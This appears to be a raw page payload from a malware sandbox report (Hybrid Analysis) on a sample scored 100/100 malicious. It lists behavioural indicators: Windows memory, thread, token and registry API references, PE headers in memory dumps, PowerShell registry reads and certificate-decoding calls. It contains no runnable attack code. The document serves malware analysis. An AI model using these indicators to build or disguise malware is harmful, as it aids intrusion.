26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T427,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 4e160339aeb9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4e160339aeb9…. Threat score 100/100. 0/1 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":1},"behavioralIndicators":{"malicious":7,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T619,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "ClrVirtualAllocWithinRange request #%u for %08x bytes in [ %p .. %p ], query count was %u - returned %s: %p" (Indicator: "VirtualAlloc"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")28:Td46,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "WaitForMultipleObjects failed" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")29:T44e,Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SetThreadToken" (Indicator: "SetThreadToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "g____PInvoke|6_0" (Indicator: "OpenProcessToken"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "UndoRevert/SetThreadToken failed for hToken = %d" (Indicator: "SetThreadToken"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")2a:T4e3,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "LoadLibraryCallbackStub" (Indicator: "LoadLibrary"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")2b:T669,Found reference to API "g____PInvoke|14_0" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "g____PInvoke|15_0" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "g____PInvoke|16_0" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "g____PInvoke|17_0" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "g____PInvoke|18_0" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "RegSetValueEx" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API "RegSetValueExWTU" (Indicator: "RegSetValue"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp")2c:T72e,Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.82AE0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.82C10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.82EB0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.80F20000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82B00000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82C20000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82C40000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82C50000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001548.00000002.243806.83410000.00000002.mdmp")2d:T4fa,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V4.0.30319\SYSTEM.NET.SERVICEPOINTMANAGER.SECURITYPROTOCOL") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\LANGUAGEOVERLAY\OVERLAYPACKAGES\EN-US") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35")2e:Tab6,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-2745071443 [PID: 1548] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-2745078413 [PID: 1548] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-2746903910 [PID: 1548] "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" queried SystemProcessInformation at 00000000-00001548-00000C15-2746910714 [PID: 1548] "net1.exe" queried SystemProcessInformation at 00000000-00009196-00000C15-2748174778 [PID: 9196] "net1.exe" queried SystemProcessInformation at 00000000-00009196-00000C15-2748181647 [PID: 9196] "net1.exe" queried SystemProcessInformation at 00000000-00009196-00000C15-2748721694 [PID: 9196] "net1.exe" queried SystemProcessInformation at 00000000-00009196-00000C15-2748728457 [PID: 9196] "net1.exe" queried SystemProcessInformation at 00000000-00002296-00000C15-2752968538 [PID: 2296] "net1.exe" queried SystemProcessInformation at 00000000-00002296-00000C15-2752975262 [PID: 2296] "net1.exe" queried SystemProcessInformation at 00000000-00002296-00000C15-2753486478 [PID: 2296] "net1.exe" queried SystemProcessInformation at 00000000-00002296-00000C15-2753494875 [PID: 2296] "net1.exe" queried SystemProcessInformation at 00000000-00001200-00000C15-2757970733 [PID: 1200] "net1.exe" queried SystemProcessInformation at 00000000-00001200-00000C15-2757978268 [PID: 1200] "net1.exe" queried SystemProcessInformation at 00000000-00001200-00000C15-2758443877 [PID: 1200] "net1.exe" queried SystemProcessInformation at 00000000-00001200-00000C15-2758450604 [PID: 1200] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2763047171 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2763053532 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2765895254 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2765905486 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2767051861 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2767058749 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2767680024 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2767732349 [PID: 4556] "powershell.exe" queried SystemProcessInformation at 00000000-00004556-00000C15-2767941920 [PID: 4556]2f:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAKi/54AHWcDKN7MMgzW+Je4GnjudtlwpnXzX+Iejz1QKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCC2IwggTvMIID16ADAgECAhMzAAAKc/" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCuweDGBKLLkpvRIfNHqlHxBvX6u7A8kK+C53oBAy+VdKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e